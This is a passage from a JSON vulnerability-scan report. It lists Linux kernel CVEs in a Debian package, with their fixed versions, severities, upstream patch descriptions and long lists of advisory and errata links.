"https://git.kernel.org/stable/c/8f907d345bae8f4b3f004c5abc56bf2dfb851ea7", "https://git.kernel.org/stable/c/93d4ba49d18e3d7fb41a9927c2d0cca5e9dfefd6", "https://github.com/0xdeadbeefnetwork/ssh-keysign-pwn", "https://github.com/0xdeadbeefnetwork/ssh-keysign-pwn/", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/5.5.2/BRSA-9entvekbzfg2.toml", "https://github.com/torvalds/linux/commit/31e62c2ebbfdc3fe3dbdf5e02c92a9dc67087a3a", "https://linux.oracle.com/cve/CVE-2026-46333.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lists.debian.org/debian-lts-announce/2026/05/msg00032.html", "https://lists.debian.org/debian-lts-announce/2026/05/msg00035.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-46333", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46333.json", "https://ubuntu.com/blog/ssh-keysign-pwn-linux-vulnerability-fixes-available", "https://ubuntu.com/security/notices/USN-8370-1", "https://ubuntu.com/security/notices/USN-8371-1", "https://ubuntu.com/security/notices/USN-8373-1", "https://ubuntu.com/security/notices/USN-8374-1", "https://ubuntu.com/security/notices/USN-8388-1", "https://ubuntu.com/security/notices/USN-8388-2", "https://ubuntu.com/security/notices/USN-8393-1", "https://ubuntu.com/security/notices/USN-8426-1", "https://ubuntu.com/security/notices/USN-8426-2", "https://ubuntu.com/security/notices/USN-8440-1", "https://ubuntu.com/security/notices/USN-8461-1", "https://ubuntu.com/security/notices/USN-8462-1", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://www.cve.org/CVERecord?id=CVE-2026-46333", "https://www.openwall.com/lists/oss-security/2026/05/15/2", "https://www.openwall.com/lists/oss-security/2026/05/15/8", "https://x.com/spendergrsec/status/2054974174926430322" ], "PublishedDate": "2026-05-15T14:16:35.793Z", "LastModifiedDate": "2026-10-15T02:19:54.77Z" }, { "VulnerabilityID": "CVE-2026-52911", "VendorIDs": [ "DSA-6355-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-52911", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e9e4d415b33203e4fd0b10f8658e316bce76888bb32faa0f5af01e0c64e42b6d", "Title": "kernel: ksmbd: scope conn-\u003ebinding slowpath to bound sessions only", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: scope conn-\u003ebinding slowpath to bound sessions only\n\nWhen the binding SESSION_SETUP sets conn-\u003ebinding = true, the flag stays\nset after the call so that the global session lookup in\nksmbd_session_lookup_all() can find the session, which was not added to\nconn-\u003esessions. Because the flag is connection-wide, the global lookup\npath will also resolve any other session by id if asked.\n\nTighten the global lookup so that the returned session must have this\nconnection registered in its channel xarray (sess-\u003eksmbd_chann_list).\nThe channel entry is installed by the existing binding_session path in\nntlm_authenticate()/krb5_authenticate() when a SESSION_SETUP completes\nsuccessfully, so this condition is a strict equivalent of \"this\nconnection has been accepted as a channel of this session\". Connections\nthat have not bound to a given session cannot reach it via the global\ntable.\n\nThe existing conn-\u003ebinding gate for entering the slowpath is preserved\nso that non-binding connections keep the fast-path-only behavior, and\nthe session-\u003estate check is unchanged.", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 3 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-52911", "https://git.kernel.org/linus/b0da97c034b6107d14e537e212d4ce8b22109a58%20%287.1-rc1%29", "https://git.kernel.org/stable/c/1e2bec062c5c9ec282636715166056d0998d746d", "https://git.kernel.org/stable/c/1ff46c9915c1cbf454db58a8cb87f7cac818e6a6", "https://git.kernel.org/stable/c/2cc8a4db633b10715450b291c1343859a4b2c509", "https://git.kernel.org/stable/c/974c1c224e85549dc3459f3bb2255bbbdd2b9372", "https://git.kernel.org/stable/c/b0da97c034b6107d14e537e212d4ce8b22109a58", "https://git.kernel.org/stable/c/e3a93ce6e25757b8f375e38b8f91e1d9da4edc1a", "https://git.kernel.org/stable/c/e74c00c6af428a39e564cdc5bd3a3648c6d8de87", "https://lore.kernel.org/linux-cve-announce/2026062146-CVE-2026-52911-fab1@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-52911", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-52911" ], "PublishedDate": "2026-06-21T08:16:23.607Z", "LastModifiedDate": "2026-07-08T15:13:12.627Z" }, { "VulnerabilityID": "CVE-2026-52912", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-52912", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e17552d26d69e60a7683c82adec6249f33cb9e771901fbac19bd4e51ba33701a", "Title": "kernel: netfilter: nf_queue: hold bridge skb-\u003edev while queued", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_queue: hold bridge skb-\u003edev while queued\n\nbr_pass_frame_up() rewrites skb-\u003edev from the ingress port to the bridge\nmaster before queueing bridge LOCAL_IN packets. NFQUEUE only holds\nreferences on state.in/out and bridge physdevs, so a queued bridge\npacket can retain a freed bridge master in skb-\u003edev until reinjection.\n\nWhen the verdict is reinjected later, br_netif_receive_skb() re-enters\nthe receive path with skb-\u003edev still pointing at the freed bridge master,\ntriggering a use-after-free.\n\nStore skb-\u003edev in the queue entry, hold a reference on it for the queue\nlifetime, and use the saved device when dropping queued packets during\nNETDEV_DOWN handling.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:71700", "https://access.redhat.com/security/cve/CVE-2026-52912", "https://bugzilla.redhat.com/2419883", "https://bugzilla.redhat.com/2461575", "https://bugzilla.redhat.com/2482533", "https://bugzilla.redhat.com/2482543", "https://bugzilla.redhat.com/2482649", "https://bugzilla.redhat.com/2486470", "https://bugzilla.redhat.com/2492105", "https://bugzilla.redhat.com/2492798", "https://bugzilla.redhat.com/2493739", "https://bugzilla.redhat.com/2502536", "https://bugzilla.redhat.com/2513233", "https://bugzilla.redhat.com/2513361", "https://bugzilla.redhat.com/2513372", "https://bugzilla.redhat.com/2513414", "https://bugzilla.redhat.com/2513429", "https://bugzilla.redhat.com/2513434", "https://bugzilla.redhat.com/show_bug.cgi?id=2419883", "https://bugzilla.redhat.com/show_bug.cgi?id=2461575", "https://bugzilla.redhat.com/show_bug.cgi?id=2482533", "https://bugzilla.redhat.com/show_bug.cgi?id=2482543", "https://bugzilla.redhat.com/show_bug.cgi?id=2482649", "https://bugzilla.redhat.com/show_bug.cgi?id=2486470", "https://bugzilla.redhat.com/show_bug.cgi?id=2492105", "https://bugzilla.redhat.com/show_bug.cgi?id=2492798", "https://bugzilla.redhat.com/show_bug.cgi?id=2493739", "https://bugzilla.redhat.com/show_bug.cgi?id=2502536", "https://bugzilla.redhat.com/show_bug.cgi?id=2513233", "https://bugzilla.redhat.com/show_bug.cgi?id=2513361", "https://bugzilla.redhat.com/show_bug.cgi?id=2513372", "https://bugzilla.redhat.com/show_bug.cgi?id=2513414", "https://bugzilla.redhat.com/show_bug.cgi?id=2513429", "https://bugzilla.redhat.com/show_bug.cgi?id=2513434", "https://bugzilla.redhat.com/show_bug.cgi?id=2525436", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40323", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31539", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46199", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46311", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52912", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53203", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53290", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64098", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68108", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68121", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68257", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68267", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68273", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80714", "https://errata.almalinux.org/9/ALSA-2026-71700.html", "https://errata.rockylinux.org/RLSA-2026:71700", "https://git.kernel.org/linus/e196115ec330a18de415bdb9f5071aa9f08e53ce%20%287.1-rc5%29", "https://git.kernel.org/stable/c/15d464265120ab9818bd673af301deee09bedab2", "https://git.kernel.org/stable/c/19924bdd8a45ebc72a7b84c57fd63057d1dc75ac", "https://git.kernel.org/stable/c/1e5e20031c5eee8d2e490a90ff4d6a2feecfc3be", "https://git.kernel.org/stable/c/3823c27099cfe2482299065814adbaa771be9644", "https://git.kernel.org/stable/c/3fb0f5c0f64162a8c3f25616a4f1e340b921737f", "https://git.kernel.org/stable/c/950d809f154dca04e5fbe5d3c8b9c5e44769cd57", "https://git.kernel.org/stable/c/a698ac8ab2561cf575d2d9f34095032651dd952e", "https://git.kernel.org/stable/c/e196115ec330a18de415bdb9f5071aa9f08e53ce", "https://linux.oracle.com/cve/CVE-2026-52912.html", "https://linux.oracle.com/errata/ELSA-2026-71700.html", "https://lore.kernel.org/linux-cve-announce/2026062426-CVE-2026-52912-9506@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-52912", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8729-1", "https://ubuntu.com/security/notices/USN-8729-2", "https://ubuntu.com/security/notices/USN-8729-3", "https://ubuntu.com/security/notices/USN-8729-4", "https://ubuntu.com/security/notices/USN-8729-5", "https://ubuntu.com/security/notices/USN-8729-6", "https://ubuntu.com/security/notices/USN-8761-1", "https://ubuntu.com/security/notices/USN-8761-2", "https://ubuntu.com/security/notices/USN-8761-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8802-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-52912" ], "PublishedDate": "2026-06-24T08:16:20.64Z", "LastModifiedDate": "2026-10-19T20:18:45.667Z" }, { "VulnerabilityID": "CVE-2026-52923", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-52923", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:57a3f8b440da0a9d1595b9188f3fa23cde2f125f9a8c8913b7f398d6a33dc567", "Title": "kernel: ipc: limit next_id allocation to the valid ID range", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipc: limit next_id allocation to the valid ID range\n\nThe checkpoint/restore sysctl path can request the next SysV IPC id\nthrough ids-\u003enext_id. ipc_idr_alloc() currently forwards that request to\nidr_alloc() with an open-ended upper bound.\n\nIf the valid tail of the SysV IPC id space is full, the allocation can\nspill beyond ipc_mni. The returned SysV IPC id still uses the normal\nindex encoding, so later lookup and removal can target the wrong slot. \nThis leaves the real IDR entry behind and breaks the IDR state for the\nobject.\n\nThe bug is in ipc_idr_alloc() in the checkpoint/restore path.\n\n1. ids-\u003enext_id is passed to:\n\n idr_alloc(\u0026ids-\u003eipcs_idr, new, ipcid_to_idx(next_id), 0, ...)\n\n2. The zero upper bound makes the allocation effectively open-ended.\n Once the valid SysV IPC tail is occupied, idr_alloc() can spill past\n ipc_mni and allocate an entry beyond the valid IPC id range.\n\n3. The new object id is still encoded with the narrower SysV IPC index\n width:\n\n new-\u003eid = (new-\u003eseq \u003c\u003c ipcmni_seq_shift()) + idx\n\n4. Later removal goes through ipc_rmid(), which uses:\n\n ipcid_to_idx(ipcp-\u003eid)\n\n That truncates the real IDR index. An object actually stored at a\n high index can then be removed as if it lived at a low in-range\n index.\n\n5. For shared memory, shm_destroy() frees the current object anyway, but\n the real high IDR slot is left behind as a dangling pointer.\n\n6. A subsequent walk of /proc/sysvipc/shm reaches the stale IDR entry\n and dereferences freed memory.\n\nPrevent this by bounding the requested allocation to ipc_mni so the\ncheckpoint/restore path fails once the valid range is exhausted.", "Severity": "HIGH", "CweIDs": [ "CWE-401", "CWE-20", "CWE-825" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:47248", "https://access.redhat.com/errata/RHSA-2026:48386", "https://access.redhat.com/errata/RHSA-2026:49031", "https://access.redhat.com/errata/RHSA-2026:49212", "https://access.redhat.com/errata/RHSA-2026:49851", "https://access.redhat.com/errata/RHSA-2026:49857", "https://access.redhat.com/errata/RHSA-2026:51603", "https://access.redhat.com/errata/RHSA-2026:51604", "https://access.redhat.com/errata/RHSA-2026:52649", "https://access.redhat.com/errata/RHSA-2026:52764", "https://access.redhat.com/errata/RHSA-2026:53330", "https://access.redhat.com/errata/RHSA-2026:61692", "https://access.redhat.com/errata/RHSA-2026:63189", "https://access.redhat.com/security/cve/CVE-2026-52923", "https://bugzilla.redhat.com/2492094", "https://bugzilla.redhat.com/2492437", "https://bugzilla.redhat.com/2504052", "https://bugzilla.redhat.com/2507345", "https://bugzilla.redhat.com/show_bug.cgi?id=2492094", "https://bugzilla.redhat.com/show_bug.cgi?id=2492437", "https://bugzilla.redhat.com/show_bug.cgi?id=2504052", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52923", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52993", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64530", "https://errata.almalinux.org/9/ALSA-2026-49212.html", "https://errata.rockylinux.org/RLSA-2026:49212", "https://git.kernel.org/linus/fa0b9b2b7ae3539908d69c2b9ac0d144d9bc5139%20%287.1-rc6%29", "https://git.kernel.org/stable/c/157ce2c6836ce0ff19108a819f38df061345425f", "https://git.kernel.org/stable/c/3bbe2bb9111ce6967a951bfac79af142d816fae5", "https://git.kernel.org/stable/c/41058d4c3f63ab64901560a704882e0565f4e456", "https://git.kernel.org/stable/c/8c58a92849175f5e2ab7bc2734b3b89afe79f6ef", "https://git.kernel.org/stable/c/a3cc795129e5ec0f8948653a3bf471e7d8852f5e", "https://git.kernel.org/stable/c/af24e202b543ded8a34f1d5d3db54eb916173f04", "https://git.kernel.org/stable/c/bd4be70669af55b974860d13680348cfdf50bbed", "https://git.kernel.org/stable/c/fa0b9b2b7ae3539908d69c2b9ac0d144d9bc5139", "https://linux.oracle.com/cve/CVE-2026-52923.html", "https://linux.oracle.com/errata/ELSA-2026-53330.html", "https://lore.kernel.org/linux-cve-announce/2026062431-CVE-2026-52923-35fb@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-52923", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-52923.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-52923" ], "PublishedDate": "2026-06-24T08:16:22.3Z", "LastModifiedDate": "2026-10-19T20:18:46.883Z" }, { "VulnerabilityID": "CVE-2026-52924", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-52924", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1ea66ce0d202fb1d40f55a85db2e7f649aefb722ae0a24f24eb965a78f3a5b99", "Title": "kernel: sctp: purge outqueue on stale COOKIE-ECHO handling", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: purge outqueue on stale COOKIE-ECHO handling\n\nsctp_stream_update() is only invoked when the association is moved into\nCOOKIE_WAIT during association setup/reconfiguration. In this path, the\noutbound stream scheduler state (stream-\u003eout_curr) is expected to be\nclean, since no user data should have been transmitted yet unless the\nstate machine has already partially progressed.\n\nHowever, a corner case exists in sctp_sf_do_5_2_6_stale(): when a\nStale Cookie ERROR is received, the association is rolled back from\nCOOKIE_ECHOED to COOKIE_WAIT. In this scenario, user data may already\nhave been queued and even bundled with the COOKIE-ECHO chunk.\n\nDuring the rollback, sctp_stream_update() frees the old stream table\nand installs a new one, but it does not invalidate stream-\u003eout_curr.\nAs a result, out_curr may still point to a freed sctp_stream_out\nentry from the previous stream state.\n\nLater, SCTP scheduler dequeue paths (FCFS, RR, PRIO, etc.) rely on\nstream-\u003eout_curr-\u003eext, which can lead to use-after-free once the old\nstream state has been released via sctp_stream_free().\n\nThis results in crashes such as (reported by Yuqi):\n\n BUG: KASAN: slab-use-after-free in sctp_sched_fcfs_dequeue+0x13a/0x140\n Read of size 8 at addr ff1100004d4d3208 by task mini_poc/9312\n CPU: 1 UID: 1001 PID: 9312 Comm: mini_poc Not tainted\n 7.1.0-rc1-00305-gbd3a4795d574 #5 PREEMPT(full)\n sctp_sched_fcfs_dequeue+0x13a/0x140\n sctp_outq_flush+0x1603/0x33e0\n sctp_do_sm+0x31c9/0x5d30\n sctp_assoc_bh_rcv+0x392/0x6f0\n sctp_inq_push+0x1db/0x270\n sctp_rcv+0x138d/0x3c10\n\nFix this by fully purging the association outqueue when handling the\nStale Cookie case. This ensures all pending transmit and retransmit\nstate is dropped, and any scheduler cached pointers are invalidated,\nmaking it safe to rebuild stream state during COOKIE_WAIT restart.\n\nUpdating only stream-\u003eout_curr would be insufficient, since queued\nand retransmittable data would still reference the old stream state and\ntrigger later use-after-free in dequeue paths.", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-825" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:59723", "https://access.redhat.com/errata/RHSA-2026:59737", "https://access.redhat.com/errata/RHSA-2026:59821", "https://access.redhat.com/errata/RHSA-2026:67471", "https://access.redhat.com/security/cve/CVE-2026-52924", "https://bugzilla.redhat.com/2422696", "https://bugzilla.redhat.com/2432681", "https://bugzilla.redhat.com/2466994", "https://bugzilla.redhat.com/2492095", "https://bugzilla.redhat.com/2492112", "https://bugzilla.redhat.com/2492735", "https://bugzilla.redhat.com/2492747", "https://bugzilla.redhat.com/2492770", "https://bugzilla.redhat.com/2502872", "https://bugzilla.redhat.com/2502889", "https://bugzilla.redhat.com/2507290", "https://bugzilla.redhat.com/2507301", "https://bugzilla.redhat.com/2520980", "https://bugzilla.redhat.com/show_bug.cgi?id=2422696", "https://bugzilla.redhat.com/show_bug.cgi?id=2432681", "https://bugzilla.redhat.com/show_bug.cgi?id=2466994", "https://bugzilla.redhat.com/show_bug.cgi?id=2492095", "https://bugzilla.redhat.com/show_bug.cgi?id=2492112", "https://bugzilla.redhat.com/show_bug.cgi?id=2492735", "https://bugzilla.redhat.com/show_bug.cgi?id=2492747", "https://bugzilla.redhat.com/show_bug.cgi?id=2492770", "https://bugzilla.redhat.com/show_bug.cgi?id=2502872", "https://bugzilla.redhat.com/show_bug.cgi?id=2502889", "https://bugzilla.redhat.com/show_bug.cgi?id=2507290", "https://bugzilla.redhat.com/show_bug.cgi?id=2507301", "https://bugzilla.redhat.com/show_bug.cgi?id=2520980", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68211", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52920", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52924", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53131", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53185", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64191", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64276", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64277", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74581", "https://errata.almalinux.org/9/ALSA-2026-59723.html", "https://errata.rockylinux.org/RLSA-2026:59723", "https://git.kernel.org/linus/e374b22e9b07b72a25909621464ff74096151bfb%20%287.1-rc7%29", "https://git.kernel.org/stable/c/1d4652f677906a64487c13f9ace54b0eb263b5d0", "https://git.kernel.org/stable/c/2afc9e684dc7fecf73db1edc937ebbc47b4b68dc", "https://git.kernel.org/stable/c/3c0741a441a7df7099d7ca6a64a6a0de09c677c8", "https://git.kernel.org/stable/c/83ade59e5da365f4bf8bce72c5a38774202b442f", "https://git.kernel.org/stable/c/84b7a319105db2f917ccdcf502bdc866082b1285", "https://git.kernel.org/stable/c/a6207349e703cfc04756a4d16dec9176135813a5", "https://git.kernel.org/stable/c/e374b22e9b07b72a25909621464ff74096151bfb", "https://git.kernel.org/stable/c/f46e1d1a758878f0d22c4fbbd1bf42bb7165d1e8", "https://linux.oracle.com/cve/CVE-2026-52924.html", "https://linux.oracle.com/errata/ELSA-2026-67471-0.html", "https://lore.kernel.org/linux-cve-announce/2026062431-CVE-2026-52924-9f0b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-52924", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-52924.json", "https://ubuntu.com/security/notices/USN-8629-1", "https://ubuntu.com/security/notices/USN-8629-2", "https://ubuntu.com/security/notices/USN-8629-3", "https://ubuntu.com/security/notices/USN-8630-1", "https://ubuntu.com/security/notices/USN-8630-2", "https://ubuntu.com/security/notices/USN-8630-3", "https://ubuntu.com/security/notices/USN-8630-4", "https://ubuntu.com/security/notices/USN-8630-5", "https://ubuntu.com/security/notices/USN-8631-1", "https://ubuntu.com/security/notices/USN-8631-2", "https://ubuntu.com/security/notices/USN-8631-3", "https://ubuntu.com/security/notices/USN-8631-4", "https://ubuntu.com/security/notices/USN-8633-1", "https://ubuntu.com/security/notices/USN-8633-2", "https://ubuntu.com/security/notices/USN-8635-1", "https://ubuntu.com/security/notices/USN-8636-1", "https://ubuntu.com/security/notices/USN-8636-2", "https://ubuntu.com/security/notices/USN-8637-1", "https://ubuntu.com/security/notices/USN-8645-1", "https://ubuntu.com/security/notices/USN-8656-1", "https://ubuntu.com/security/notices/USN-8660-1", 